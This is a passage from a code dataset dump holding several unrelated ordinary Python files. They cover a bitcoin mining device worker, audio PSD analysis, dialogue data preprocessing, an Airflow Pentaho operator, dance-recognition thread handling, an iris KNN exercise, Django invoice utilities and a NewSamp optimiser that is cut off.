exception is thrown in the listener thread...\n except Exception as e:\n # ...put it into the exception container...\n self.error = e\n # ...wake up the main thread...\n with self.wakeup: self.wakeup.notify()\n # ...and terminate the listener thread.\n\n\n # This function uploads a job to the device\n def _sendjob(self, job):\n # Move previous job to oldjob, and new one to job\n self.oldjob = self.job\n self.job = job\n # Send it to the device\n now = time.time()\n self.handle.write(job.midstate[::-1] + b\"\\0\" * 20 + job.data[75:63:-1])\n self.handle.flush()\n self.job.starttime = time.time()\n # Calculate how long the old job was running\n if self.oldjob and self.oldjob.starttime:\n if self.oldjob.starttime:\n hashes = (now - self.oldjob.starttime) * self.stats.mhps * 1000000\n self.hasheswithoutshare += hashes\n self.oldjob.hashes_processed(hashes)\n self.oldjob.destroy()\n\n \n # This function needs to be called whenever the device terminates working on a job.\n # It calculates how much work was actually done for the job and destroys it.\n def _jobend(self, now = None):\n # Hack to avoid a python bug, don't integrate this into the line above\n if not now: now = time.time()\n # Calculate how long the job was actually running and multiply that by the hash\n # rate to get the number of hashes calculated for that job and update statistics.\n if self.job:\n if self.job.starttime:\n hashes = (now - self.job.starttime) * self.stats.mhps * 1000000\n self.hasheswithoutshare += hashes\n self.job.hashes_processed(hashes)\n # Destroy the job, which is neccessary to actually account the calculated amount\n # of work to the worker and work source, and to remove the job from cancelation lists.\n self.oldjob = self.job\n self.job.destroy()\n self.job = None\n", "sub_path": "software/mpbm-v0.1.0beta/modules/theseven/icarus/icarusworker.py", "file_name": "icarusworker.py", "file_ext": "py", "file_size_in_byte": 19410, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "core.baseworker.BaseWorker", "line_number": 41, "usage_type": "name"}, {"api_name": "core.baseworker.BaseWorker.settings", "line_number": 45, "usage_type": "attribute"}, {"api_name": "core.baseworker.BaseWorker", "line_number": 45, "usage_type": "name"}, {"api_name": "core.baseworker", "line_number": 55, "usage_type": "argument"}, {"api_name": "threading.Condition", "line_number": 59, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 159, "usage_type": "call"}, {"api_name": "serial.Serial", "line_number": 175, "usage_type": "call"}, {"api_name": "serial.EIGHTBITS", "line_number": 175, "usage_type": "attribute"}, {"api_name": "serial.PARITY_NONE", "line_number": 175, "usage_type": "attribute"}, {"api_name": "serial.STOPBITS_ONE", "line_number": 175, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 182, "usage_type": "call"}, {"api_name": "core.job.ValidationJob", "line_number": 187, "usage_type": "call"}, {"api_name": "binascii.unhexlify", "line_number": 187, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 253, "usage_type": "call"}, {"api_name": "time.time", "line_number": 278, "usage_type": "call"}, {"api_name": "time.time", "line_number": 313, "usage_type": "call"}, {"api_name": "struct.unpack", "line_number": 323, "usage_type": "call"}, {"api_name": "core.job.ValidationJob", "line_number": 331, "usage_type": "argument"}, {"api_name": "binascii.hexlify", "line_number": 334, "usage_type": "call"}, {"api_name": "time.time", "line_number": 360, "usage_type": "call"}, {"api_name": "time.time", "line_number": 363, "usage_type": "call"}, {"api_name": "time.time", "line_number": 377, "usage_type": "call"}]} +{"seq_id": "261048427", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Apr 25 09:45:08 2018\n\n@author: rosavandenende\n\"\"\"\n\n#In dit document: het bestand lezen voor alleen de eerste paar frames (maar dan wel het hele signaal, niet alleen de hoge). En histogram vd amplitude, kijken of dat een gaussische verdeling is \n\nimport wave, struct\nfrom math import *\nimport numpy as np\nimport numpy.fft as fft\nimport matplotlib.pyplot as plt\nfrom scipy import signal\nimport sys\nimport scipy.io.wavfile as wavfile\nimport os.path\nfrom scipy.stats import norm\n\n\nimport wave\n\ndef PSD_using_scipy(ampl, fs):\n return signal.welch(ampl, fs, nperseg=1024, scaling= 'spectrum')\n\ndef main(argv):\n n = 10000\n waveFile = wave.open(\"pylos20180411.wav\", \"r\")\n length = waveFile.getnframes()\n sampling_rate = waveFile.getframerate()\n time_series = []\n print (waveFile.getparams())\n \n for i in range(0,n):\n waveFile.setpos(i)\n waveData = waveFile.readframes(1)\n sample_point = struct.unpack(\"')[0]\n sent_list = sent.split()\n sent_list = [t.split(':')[0] for t in sent_list]\n sent = ' '.join(sent_list)\n sentences.append(sent)\n if split == 'eval':\n split = 'val'\n ptm_data.extend([convert_format('{}_{}'.format(dataset, idx), utt, dataset, split) for idx, utt in enumerate(sentences)])\n\n\n\n ont = {\n 'domains': {},\n 'intents': {},\n 'binary_dialogue_act': [],\n 'state': {},\n }\n\n # debug\n json.dump(ptm_data, open('./data.json', 'w'), indent=4)\n json.dump(ont, open('./ontology.json', 'w'), indent=4)\n write_zipped_json(os.path.join(self_dir, 'data.zip'), 'data.json')\n os.remove('data.json')\n\n else:\n ptm_data = read_zipped_json(os.path.join(self_dir, './data.zip'), 'data.json')\n ont = json.load(open(os.path.join(self_dir, './ontology.json'), 'r'))\n return ptm_data, ont\n\n\nif __name__ == '__main__':\n preprocess()", "sub_path": "data_ptm/dialoglue/preprocess.py", "file_name": "preprocess.py", "file_ext": "py", "file_size_in_byte": 4485, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 44, "usage_type": "call"}, {"api_name": "os.path", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path", "line_number": 47, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 47, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "zipfile.ZipFile", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 68, "usage_type": "call"}, {"api_name": "os.path", "line_number": 68, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "json.dump", "line_number": 108, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 109, "usage_type": "call"}, {"api_name": "convlab2.util.file_util.write_zipped_json", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path", "line_number": 110, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 111, "usage_type": "call"}, {"api_name": "convlab2.util.file_util.read_zipped_json", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path", "line_number": 114, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}]} +{"seq_id": "246152457", "text": "# -*- coding: utf-8 -*-\n# Copyright 2020 Aneior Studio, SL\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport time\n\nfrom airflow import AirflowException\n\nfrom airflow_pentaho.hooks.PentahoCarteHook import PentahoCarteHook\nfrom airflow_pentaho.operators.CarteBaseOperator import CarteBaseOperator\n\n\nclass CarteTransOperator(CarteBaseOperator):\n\n def __init__(self,\n trans,\n params=None,\n pdi_conn_id=None,\n level=\"Basic\",\n *args,\n **kwargs):\n \"\"\"\n Execute a Transformation in a remote Carte server from a PDI\n repository.\n :param trans: The full path of the transformation.\n :type trans: str\n :param params: Set a named parameter in a dict as input parameters.\n :type params: dict\n :param pdi_conn_id: Pentaho Data Integration connection ID.\n :type pdi_conn_id: str\n :param level: The logging level (Basic, Detailed, Debug, Rowlevel,\n Error, Nothing), default is Basic.\n :type level: str\n \"\"\"\n super().__init__(*args, **kwargs)\n\n self.pdi_conn_id = pdi_conn_id\n if not self.pdi_conn_id:\n self.pdi_conn_id = self.DEFAULT_CONN_ID\n self.trans = trans\n self.level = level\n self.params = params\n\n def _get_pentaho_carte_client(self):\n return PentahoCarteHook(self.pdi_conn_id, self.level).get_conn()\n\n def _get_trans_name(self):\n return self.trans.split(\"/\").pop()\n\n def execute(self, context):\n conn = self._get_pentaho_carte_client()\n\n conn.run_trans(self.trans, self.params)\n self.log.info(\"Executing {}\".format(self.trans))\n\n status_trans_rs = None\n status = None\n status_desc = None\n while not status_trans_rs or status_desc not in self.FINISHED_STATUSES:\n status_trans_rs = conn.trans_status(self._get_trans_name(),\n status_trans_rs)\n status = status_trans_rs[\"transstatus\"]\n status_desc = status[\"status_desc\"]\n self.log.info(\"%s: %s\", status_desc, self.trans)\n self._log_logging_string(status[\"logging_string\"])\n\n if status_desc not in self.FINISHED_STATUSES:\n self.log.info(\"Sleeping 5 seconds before ask again\")\n time.sleep(5)\n\n if \"error_desc\" in status and status[\"error_desc\"]:\n self.log.error(\"%s: %s, with id %s\", status[\"error_desc\"],\n self.trans)\n raise AirflowException(status[\"error_desc\"])\n", "sub_path": "airflow_pentaho/operators/CarteTransOperator.py", "file_name": "CarteTransOperator.py", "file_ext": "py", "file_size_in_byte": 3128, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "airflow_pentaho.operators.CarteBaseOperator.CarteBaseOperator", "line_number": 25, "usage_type": "name"}, {"api_name": "airflow_pentaho.hooks.PentahoCarteHook.PentahoCarteHook", "line_number": 57, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 81, "usage_type": "call"}, {"api_name": "airflow.AirflowException", "line_number": 86, "usage_type": "call"}]} +{"seq_id": "40254136", "text": "import threading\nimport time\nimport queue\n\nimport laptop_remote\nimport eval_client\nimport ultra96_fpga\nfrom statistics import mode\n\nINITIAL_DELAY = 50\nROT_EXTRA_DELAY = 0\nPOS_TO_SYNC_SHIFT_DELAY = 8\nSYNC_TO_PROCESS_SHIFT_DELAY = 2\nLOGOUT_MESSAGE = \"Logout\"\n\ninferredDataQueue = queue.Queue()\n\n# Clears all hand queues and stops position processing and hand processing from accepting any data\ndef clear_incomplete_flags():\n ultra96_fpga.isFpgaHandProcessable = [False, False, False]\n laptop_remote.is_dancer_positions_updatable = [False, False, False]\n\n laptop_remote.sensorHand1Queue.queue.clear()\n laptop_remote.sensorHand2Queue.queue.clear()\n laptop_remote.sensorHand3Queue.queue.clear()\n\n# This function sets the flags and clears the relevant queues to ensure that live data is relevant for the\n# processing of the inference.\n#\n# Sequence of events:\n# - Sleep for 0/4s (rotation orientation delay)\n# - Open window for dancers to shift positions\n# - Clear all data going to the hand beetle as well as anything in the inference queue\n# - Sleep for POS_TO_SYNC_SHIFT_DELAY\n# - Open window to record timestamp (dancers can start dancing)\n# - Process positions\n# - sleep fr SYNC_TO_PROCESS_SHIFT_DELAY \n# - Open window to take in hand beetle sensor data\n\n\ndef prepare_fpga_and_position():\n print(\"Sleeping to recalib\")\n time.sleep(ROT_EXTRA_DELAY)\n print(\"\\nPrepare for next move!\\n\")\n laptop_remote.is_dancer_positions_updatable = [True, True, True]\n\n laptop_remote.sensorHand1Queue.queue.clear()\n laptop_remote.sensorHand2Queue.queue.clear()\n laptop_remote.sensorHand3Queue.queue.clear()\n\n\n inferredDataQueue.queue.clear()\n time.sleep(POS_TO_SYNC_SHIFT_DELAY)\n laptop_remote.is_sync_delay_calculatable = [True, True, True]\n laptop_remote.process_dancer_positions()\n \n\n time.sleep(SYNC_TO_PROCESS_SHIFT_DELAY)\n ultra96_fpga.isFpgaHandProcessable = [True, True, True]\n\n \n \n# This thread \ndef evaluation_thread(server_ip_address, server_port):\n global ROT_EXTRA_DELAY\n try:\n # Creates the object that will interface with the evaluation server and then sleep for 50s\n evaluation = eval_client.Eval_Client(server_ip_address, server_port)\n time.sleep(INITIAL_DELAY)\n\n while True:\n # Set appropriate flags to accept data for relevant processing\n prepare_fpga_and_position()\n \n inferredMessage = inferredDataQueue.get()\n # Set an additional delay for dancers to stablize and reorientate themselves before performing protocol\n if \"window360\" in inferredMessage or \"cowboy\" in inferredMessage:\n ROT_EXTRA_DELAY = 4\n else:\n ROT_EXTRA_DELAY = 0\n \n # Send data to both eval server and dashboard\n conn_response = evaluation.send_inferred_data(inferredMessage)\n laptop_remote.publish_data(inferredMessage, laptop_remote.ULTRA_TO_DASHBOARD_TOPIC)\n\n # Inform dashboard to stop operations, then close thread\n if conn_response == LOGOUT_MESSAGE:\n laptop_remote.publish_data(LOGOUT_MESSAGE, laptop_remote.ULTRA_TO_DASHBOARD_TOPIC)\n break \n\n server_response = evaluation.receive_server_response()\n \n # Inform dashboard to stop operations, then close thread\n if server_response == \"No data\":\n laptop_remote.publish_data(LOGOUT_MESSAGE, laptop_remote.ULTRA_TO_DASHBOARD_TOPIC)\n break \n\n # Parse ground truth evaluated positions and use it to recalibrate existing dancers positions\n else:\n new_positions = server_response.split(\" \")\n dancer_pos = list(map(int, new_positions))\n for i in range(3):\n laptop_remote.dancer_positions[i] = dancer_pos.index(i+1) + 1\n print(\"Recalibrated dancer positions to: \", laptop_remote.dancer_positions)\n\n # Run when no connection is made to eval server - for internal testing \n except ConnectionRefusedError:\n print(\"Unable to connect to Eval Server! Closing Thread!\")\n time.sleep(10)\n prepare_fpga_and_position()\n time.sleep(10)\n \n print(\"Eval Server Thread closed!\")\n\n\n\ndef outward_data_handling_thread():\n working_dancers = 0\n position_data = None\n action_data = [None, None, None]\n sync_data = None\n has_activated_infer_req = False\n \n while True:\n try:\n # Timeout after 3s \n outward_message = laptop_remote.outwardQueue.get(block=True, timeout=3)\n\n # Parse Outward Message\n if outward_message: \n # Positional data\n if outward_message[0:2] == \"P|\":\n position_data = outward_message[2:]\n\n # Activity Data\n elif outward_message[0:2] == \"A|\":\n dancer_index = int(outward_message[2])\n if action_data[dancer_index]:\n continue\n action_data[dancer_index] = outward_message[4:]\n \n # Sync Delay Data\n elif outward_message[0:2] == \"S|\":\n sync_data = outward_message[2:]\n laptop_remote.publish_data(outward_message, laptop_remote.ULTRA_TO_DASHBOARD_TOPIC)\n\n recorded_actions = len([x for x in action_data if x is not None])\n working_dancers = sum(laptop_remote.thread_receipt_status)\n\n\n # 2 inferred actions collected\n if recorded_actions == 2 and not has_activated_infer_req:\n curr_moves = list(filter(None.__ne__, action_data))\n isBothMovesSame = curr_moves[0] == curr_moves[1]\n \n # Inferred actions not the same and working dancers not 2 (ie. 3 active hand beetles)\n if working_dancers != 2 and not isBothMovesSame:\n continue\n \n # Force computation of sync delay and positions if not done yet\n if not sync_data:\n laptop_remote.calculate_sync_delay()\n if not position_data:\n laptop_remote.process_dancer_positions()\n \n has_activated_infer_req = True\n\n\n # No of collected inferences >= working hand beetles and hasnt made request\n if recorded_actions >= working_dancers and recorded_actions > 0 and not has_activated_infer_req:\n # Force computation of sync delay and positions if not done yet\n \n if not sync_data:\n laptop_remote.calculate_sync_delay()\n if not position_data:\n laptop_remote.process_dancer_positions()\n \n has_activated_infer_req = True\n\n # Position, sync obtained and requirements to infer accurately met\n if position_data and sync_data and has_activated_infer_req:\n has_activated_infer_req = False\n\n action_data = list(filter(None.__ne__, action_data))\n\n common_action = None\n try:\n common_action = mode(action_data)\n except Exception:\n common_action = \"dab\"\n\n clear_incomplete_flags()\n laptop_remote.clear_dataset_threads()\n \n\n outward_message = '#' + position_data + \"|\" + common_action + '|' + sync_data \n print(action_data)\n print(\"\\n\\nSending Inference: \", outward_message)\n\n inferredDataQueue.put(outward_message)\n position_data = None\n action_data = [None, None, None]\n sync_data = None\n time.sleep(5)\n laptop_remote.outwardQueue.queue.clear()\n #sample message: \"#3 2 1|mermaid|78.0188888\"\n \n # Queue did not receive anything, run thread again so that active dancers can be recomputed\n except Exception:\n continue \n \n \n# Runs the threads relative to the outward process\ndef run_outward_process(server_ip_address=None, server_port=None):\n\n eval_client_thread = threading.Thread(target=evaluation_thread, args=(server_ip_address,server_port,))\n ultra96_out_thread_obj = threading.Thread(target=outward_data_handling_thread)\n \n eval_client_thread.start()\n ultra96_out_thread_obj.start()\n\n", "sub_path": "ultra96-comms-scripts/outward_threads.py", "file_name": "outward_threads.py", "file_ext": "py", "file_size_in_byte": 8555, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "queue.Queue", "line_number": 16, "usage_type": "call"}, {"api_name": "ultra96_fpga.isFpgaHandProcessable", "line_number": 20, "usage_type": "attribute"}, {"api_name": "laptop_remote.is_dancer_positions_updatable", "line_number": 21, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand1Queue.queue.clear", "line_number": 23, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand1Queue", "line_number": 23, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand2Queue.queue.clear", "line_number": 24, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand2Queue", "line_number": 24, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand3Queue.queue.clear", "line_number": 25, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand3Queue", "line_number": 25, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 43, "usage_type": "call"}, {"api_name": "laptop_remote.is_dancer_positions_updatable", "line_number": 45, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand1Queue.queue.clear", "line_number": 47, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand1Queue", "line_number": 47, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand2Queue.queue.clear", "line_number": 48, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand2Queue", "line_number": 48, "usage_type": "attribute"}, {"api_name": "laptop_remote.sensorHand3Queue.queue.clear", "line_number": 49, "usage_type": "call"}, {"api_name": "laptop_remote.sensorHand3Queue", "line_number": 49, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "laptop_remote.is_sync_delay_calculatable", "line_number": 54, "usage_type": "attribute"}, {"api_name": "laptop_remote.process_dancer_positions", "line_number": 55, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 58, "usage_type": "call"}, {"api_name": "ultra96_fpga.isFpgaHandProcessable", "line_number": 59, "usage_type": "attribute"}, {"api_name": "eval_client.Eval_Client", "line_number": 68, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 69, "usage_type": "call"}, {"api_name": "laptop_remote.publish_data", "line_number": 84, "usage_type": "call"}, {"api_name": "laptop_remote.ULTRA_TO_DASHBOARD_TOPIC", "line_number": 84, "usage_type": "attribute"}, {"api_name": "laptop_remote.publish_data", "line_number": 88, "usage_type": "call"}, {"api_name": "laptop_remote.ULTRA_TO_DASHBOARD_TOPIC", "line_number": 88, "usage_type": "attribute"}, {"api_name": "laptop_remote.publish_data", "line_number": 95, "usage_type": "call"}, {"api_name": "laptop_remote.ULTRA_TO_DASHBOARD_TOPIC", "line_number": 95, "usage_type": "attribute"}, {"api_name": "laptop_remote.dancer_positions", "line_number": 103, "usage_type": "attribute"}, {"api_name": "laptop_remote.dancer_positions", "line_number": 104, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 109, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 111, "usage_type": "call"}, {"api_name": "laptop_remote.outwardQueue.get", "line_number": 127, "usage_type": "call"}, {"api_name": "laptop_remote.outwardQueue", "line_number": 127, "usage_type": "attribute"}, {"api_name": "laptop_remote.publish_data", "line_number": 145, "usage_type": "call"}, {"api_name": "laptop_remote.ULTRA_TO_DASHBOARD_TOPIC", "line_number": 145, "usage_type": "attribute"}, {"api_name": "laptop_remote.thread_receipt_status", "line_number": 148, "usage_type": "attribute"}, {"api_name": "laptop_remote.calculate_sync_delay", "line_number": 162, "usage_type": "call"}, {"api_name": "laptop_remote.process_dancer_positions", "line_number": 164, "usage_type": "call"}, {"api_name": "laptop_remote.calculate_sync_delay", "line_number": 174, "usage_type": "call"}, {"api_name": "laptop_remote.process_dancer_positions", "line_number": 176, "usage_type": "call"}, {"api_name": "statistics.mode", "line_number": 188, "usage_type": "call"}, {"api_name": "laptop_remote.clear_dataset_threads", "line_number": 193, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 204, "usage_type": "call"}, {"api_name": "laptop_remote.outwardQueue.queue.clear", "line_number": 205, "usage_type": "call"}, {"api_name": "laptop_remote.outwardQueue", "line_number": 205, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 216, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 217, "usage_type": "call"}]} +{"seq_id": "252377730", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nChainerRL確認用プログラム（倒立振子）\nCopyright(c) 2018 Koji Makino and Hiromitsu Nishizaki All Rights Reserved.\n\"\"\"\nimport gym\nenv = gym.make('CartPole-v0')\nenv.reset()\nfor _ in range(100):\n env.render()\n env.step(env.action_space.sample())\n", "sub_path": "book/真相強化学習入門/program_978-4-274-22253-5/program/ch1/chainerrl_test/chainerrl_test.py", "file_name": "chainerrl_test.py", "file_ext": "py", "file_size_in_byte": 290, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "gym.make", "line_number": 7, "usage_type": "call"}]} +{"seq_id": "627819097", "text": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.datasets import load_iris\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\ndata = load_iris()\n\n\ndef show_sk_data(data=data):\n print('Keys of iris dataset:\\n', data.keys())\n print('\\nDescription:\\n', data['DESCR'])\n print('\\nTarget names:\\n', data['target_names'])\n print('\\nTarget type:\\n', type(data['target']))\n print('\\nTarget shape:\\n', data['target'].shape)\n print('\\nFeature names:\\n', data['feature_names'])\n print('\\nData shape:\\n', data['data'].shape)\n print('\\nHead:\\n', data['data'][:5])\n return None\n\n\ndef split_it(data=data):\n X_train, X_test, y_train, y_test = train_test_split(\n data['data'], data['target'], random_state=233, stratify=data['target'])\n return X_train, X_test, y_train, y_test\n\n\ndef iris_eda(data=data):\n view = split_it()[0]\n cols = data.feature_names\n df = pd.DataFrame(view, columns=cols)\n with plt.style.context(('dark_background')): # because dark\n pd.plotting.scatter_matrix(df, c=split_it()[2], figsize=(8, 6),\n marker='o', hist_kwds={'bins': 20}, s=30,\n alpha=0.7)\n plt.show()\n \n\ndef model_knn(neighbors):\n knn = KNeighborsClassifier(n_neighbors=neighbors)\n knn.fit(split_it()[0], split_it()[2])\n test_score = knn.score(split_it()[1], split_it()[3])\n print('\\nknn.__getstate__')\n print(f'\\nKNN Test score:\\n{round(test_score, 4)}')\n\n\ndef main():\n show_sk_data()\n split_it()\n iris_eda()\n model_knn(3)\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "src/knn_prac.py", "file_name": "knn_prac.py", "file_ext": "py", "file_size_in_byte": 1680, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 9, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style.context", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.style", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "pandas.plotting.scatter_matrix", "line_number": 35, "usage_type": "call"}, {"api_name": "pandas.plotting", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 42, "usage_type": "call"}]} +{"seq_id": "504944336", "text": "from django.db.models.aggregates import Max\nfrom datetime import datetime\n\n\n# def get_company():\n# from invoicer.models import Company\n# companies = Company.objects.all()\n# if len(companies) != 1:\n# raise Exception('Please configure one single company')\n# return companies[0]\n\n\ndef get_active_company(request):\n \"\"\" Return active company based on user's profile\n \"\"\"\n from project.models import get_user_profile_ex\n profile = get_user_profile_ex(request.user)\n try:\n company = profile.active_company\n except:\n company = None\n if company is None:\n raise Exception('Please select active company in user\\'s profile')\n return company\n\n\ndef get_active_company_pk(request):\n \"\"\" Return active company pk based on user's profile\n \"\"\"\n active_company = get_active_company(request)\n return active_company and active_company.pk or None\n\n\ndef generate_next_invoice_number(obj):\n \"\"\" Generate a suitable invoice number for given object;\n Strategy: find out current max value for the year, then add 1\n \"\"\"\n queryset = obj.__class__.objects.filter(year=obj.year, company=obj.company)\n max = queryset.aggregate(Max('number')).values()[0]\n if max is None:\n max = 0\n return (max + 1)\n\n\ndef i18n_date_format(request):\n try:\n lang_code = getattr(request, 'LANGUAGE_CODE')\n except:\n raise Exception('Did you forget LocaleMiddleware ?')\n if lang_code == 'en' or lang_code.startswith('en_'):\n date_format = 'm/d/Y'\n else:\n date_format = 'd/m/Y'\n return date_format\n\n\ndef duplicate_invoice(invoice):\n \"\"\" Return the new invoice, already saved in the database\n \"\"\"\n from invoicer.models import Invoice\n from invoicer.models import LineItem\n\n # copy main attributes\n new_invoice = Invoice(\n company=invoice.company,\n invoice_date=datetime.now(),\n client=invoice.client,\n location=invoice.location,\n tax_rate=invoice.tax_rate,\n left_address=invoice.left_address,\n right_address=invoice.right_address,\n terms=invoice.terms,\n footer=invoice.footer\n )\n new_invoice.save()\n\n # now line items\n for line_item in invoice.line_items.all():\n new_invoice.line_items.add(LineItem(\n name=line_item.name,\n description=line_item.description,\n price=line_item.price,\n taxable=line_item.taxable,\n item=line_item.item,\n quantity=line_item.quantity\n ))\n\n return new_invoice\n", "sub_path": "invoicer/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 2568, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "project.models.get_user_profile_ex", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models.aggregates.Max", "line_number": 39, "usage_type": "call"}, {"api_name": "invoicer.models.Invoice", "line_number": 64, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 66, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 66, "usage_type": "name"}, {"api_name": "invoicer.models.LineItem", "line_number": 79, "usage_type": "call"}]} +{"seq_id": "574812452", "text": "\nimport numpy as np\nfrom Algorithm import *\nimport time\nfrom scipy.sparse.linalg import svds\nfrom Logger import *\n\n\nclass NewSamp(Algorithm):\n def __init__(self, train_x, train_y, alpha, epoch_num, rank, step_size, sample_size):\n Algorithm.__init__(self, train_x, train_y, alpha, epoch_num)\n self.step_size = step_size\n self.rank= rank\n self.sample_size = sample_size\n\n def get_params(self):\n return [self.rank, self.step_size, self.sample_size]\n\n def print_params(self):\n Logger.log(\"NewSamp parameters:\\nstep_size:\" + str(self.step_size)\n + \" rank:\" + str(self.rank) + \" sample_size:\" + str(self.sample_size))\n\n def run(self):\n\n d, n = self.train_x.shape\n k = self.train_y.shape[0]\n eps = 1e-10\n last_w = np.mat(np.random.random((d, k))) * 10\n w = np.mat(np.random.rand(d, k))\n epoch_cnt = 0\n record = Record([], [], [])\n start = time.time()\n self.print_params()\n\n Logger.log(\"--------NewSamp start-------\")\n while np.linalg.norm(last_w - w, ord=2) >= eps:\n last_w = w\n # select data\n idx = np.random.choice(n, self.sample_size)\n data_x = self.train_x[:, idx]\n data_y = self.train_y[:, idx]\n # compute gradient and hessian\n grad = self.get_gradient(w, self.train_x, self.train_y, self.alpha)\n epoch_cnt = epoch_cnt + 1\n hessian = self.get_hessian(w, data_x, data_y, self.alpha)\n rd = np.mat(np.random.random((d, d))) * 1e-8\n rd = rd * rd.T\n hessian = hessian + rd\n # TruncatedSVD\n u, s, v = svds(hessian, k=self.rank + 1)\n matrix_q = np.mat(np.eye(d)) / s[0] + np.mat(u[:, 1:]) * \\\n (np.mat(np.diagflat(1 / s[1:])) - 1 / s[0] * np.mat(np.eye(self.rank))) \\\n * np.mat(v[1:, :])\n w = w - self.step_size * matrix_q * grad\n epoch_cnt = epoch_cnt + 1.0*self.sample_size/n\n\n # record the loss and 